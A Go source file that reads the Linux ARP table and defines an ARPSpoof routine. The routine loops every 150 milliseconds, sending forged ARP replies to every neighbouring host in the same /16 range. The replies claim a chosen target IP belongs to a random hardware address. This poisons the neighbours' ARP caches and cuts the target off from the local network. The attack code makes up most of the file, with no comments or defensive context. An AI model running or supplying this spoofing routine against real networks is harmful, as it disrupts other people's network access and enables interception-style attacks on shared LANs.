package main import ( "fmt" "io/ioutil" "log" "math/rand" "net" "net/netip" "strings" "time" "github.com/mdlayher/arp" ) var ARPTable string = "/proc/net/arp" type ARPEntry struct { IP netip.Addr HWType int Flags int HWAddress net.HardwareAddr Mask string Device string } func ARPAnalyze() (ents []ARPEntry, err error) { var content []byte if content, err = ioutil.ReadFile(ARPTable); err != nil { return } for _, line := range strings.Split(string(content), "\n") { f := strings.Fields(line) if len(f) > 5 { var e ARPEntry if _, err := fmt.Sscanf(f[1], "0x%x", &e.HWType); err != nil { continue } if _, err := fmt.Sscanf(f[2], "0x%x", &e.Flags); err != nil { continue } if e.IP, err = netip.ParseAddr(f[0]); err != nil { continue } if e.HWAddress, err = net.ParseMAC(f[3]); err != nil { continue } e.Mask = f[4] e.Device = f[5] ents = append(ents, e) } } return } func ARPContainsIP(ents []ARPEntry, ip netip.Addr) *ARPEntry { for i, e := range ents { if e.IP.Compare(ip) == 0 { return &ents[i] } } return nil } func ARPSpoof(iface *net.Interface, ipS netip.Addr) { clt, err := arp.Dial(iface) if err != nil { log.Println("Unable to initiate ARP spoofing:", err) return } defer clt.Close() for { ents, err := ARPAnalyze() if err != nil { time.Sleep(2 * time.Second) continue } randHW := net.HardwareAddr{0, byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255))} for _, e := range ents { if e.IP.As4()[0] == ipS.As4()[0] && e.IP.As4()[1] == ipS.As4()[1] { req := &arp.Packet{ SenderHardwareAddr: e.HWAddress, SenderIP: e.IP, } clt.Reply(req, randHW, ipS) } } time.Sleep(150 * time.Millisecond) } }